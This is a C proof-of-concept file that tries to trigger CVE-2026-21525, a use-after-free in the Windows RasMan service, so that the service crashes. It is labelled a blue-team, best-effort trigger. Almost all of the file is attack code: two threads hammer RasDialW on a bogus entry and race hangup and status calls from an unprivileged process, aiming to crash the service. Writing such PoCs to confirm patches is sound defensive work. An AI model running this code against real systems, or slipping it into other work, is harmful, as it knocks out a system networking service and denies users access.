// poc_cve_2026_21525.c — CVE-2026-21525 trigger attempt (blue-team crash PoC)
//
// rasman!RpcConnect shared-binding UAF (pre-KB5077181, Win11 24H2 < 10.0.26100.7705).
//
// Root cause (see rca-cve-2026-21525.md): when the local-endpoint connect path
// fails after a binding was created, the error path frees the GLOBAL cached
// binding g_hBinding via RpcBindingFree(&g_hBinding) and still increments
// _g_dwRefCount, handing other callers a freed/NULL handle. The next caller
// through the fast path dereferences it and the RasMan service crashes.
//
// Strategy: from an UNPRIVILEGED process, drive the RasMan service through
// RpcConnect as fast as possible while forcing failures and racing
// connect/cancel — the conditions under which the buggy error path frees the
// shared binding while another thread re-acquires it.
//
//   Thread A: RasDialW on a BOGUS phonebook entry (forces the connect path to
//             error out inside the service) in a tight loop.
//   Thread B: rapid RasHangUp + RasEnumConnections churn (keeps other callers
//             on the shared binding fast path).
//
// STATUS: BEST-EFFORT TRIGGER ATTEMPT — the exact server-side failure that
// hits the buggy branch (RpcBindingSetAuthInfoExW failure) cannot be forced
// deterministically from userspace. On a vulnerable machine expect an access
// violation in the RasMan svchost (System log 7031, App Error 1000 faulting
// in rasman.dll). On patched builds the loop just completes.
//
// Build: cl.exe /W4 /O2 poc_cve_2026_21525.c /link rasapi32.lib

#include <windows.h>
#include <ras.h>
#include <stdio.h>

#pragma comment(lib, "rasapi32.lib")

static volatile LONG g_loops = 0;
static volatile BOOL g_stop  = FALSE;

static DWORD WINAPI BogusDialThread(LPVOID p)
{
    (void)p;
    // Bogus entry forces the service-side connect path to fail fast.
    RASDIALPARAMSW dp = {0};
    dp.dwSize = sizeof(dp);
    wcscpy_s(dp.szEntryName, L"KimiNoSuchEntryCVE202621525");
    wcscpy_s(dp.szUserName,  L"x");
    wcscpy_s(dp.szPassword,  L"x");
    wcscpy_s(dp.szDomain,    L"x");

    while (!g_stop) {
        HRASCONN h = NULL;
        RasDialW(NULL, NULL, &dp, 0, NULL, &h);   // expected: ERROR 623/757 etc.
        if (h) RasHangUpW(h);
        InterlockedIncrement(&g_loops);
    }
    return 0;
}

static DWORD WINAPI ChurnThread(LPVOID p)
{
    (void)p;
    RASCONNSTATUSW st = {0};
    st.dwSize = sizeof(st);
    while (!g_stop) {
        HRASCONN h = NULL;
        RASDIALPARAMSW dp = {0};
        dp.dwSize = sizeof(dp);
        wcscpy_s(dp.szEntryName, L"KimiNoSuchEntryCVE202621525");
        RasDialW(NULL, NULL, &dp, 0, NULL, &h);
        if (h) {
            RasGetConnectStatusW(h, &st);          // touches the shared binding
            RasHangUpW(h);                          // cancel race
        }
    }
    return 0;
}

int wmain(void)
{
    setvbuf(stdout, NULL, _IONBF, 0);
    printf("CVE-2026-21525 - rasman!RpcConnect shared-binding UAF (blue-team DoS PoC)\n");
    printf("[!] BEST-EFFORT trigger attempt (not verified). Watch System log for\n");
    printf("[!] Event 7031 (RasMan crash) / App Error 1000 faulting rasman.dll.\n");

    HANDLE t1 = CreateThread(NULL, 0, BogusDialThread, NULL, 0, NULL);
    HANDLE t2 = CreateThread(NULL, 0, ChurnThread,     NULL, 0, NULL);

    for (int i = 0; i < 240; i++) {   // ~2 minutes
        Sleep(500);
        if ((i % 10) == 0)
            printf("[*] dial attempts: %ld\n", g_loops);
    }
    g_stop = TRUE;
    WaitForSingleObject(t1, 5000);
    WaitForSingleObject(t2, 5000);
    printf("[+] done: %ld attempts, RasMan still alive (patched, or race not hit).\n", g_loops);
    return 0;
}
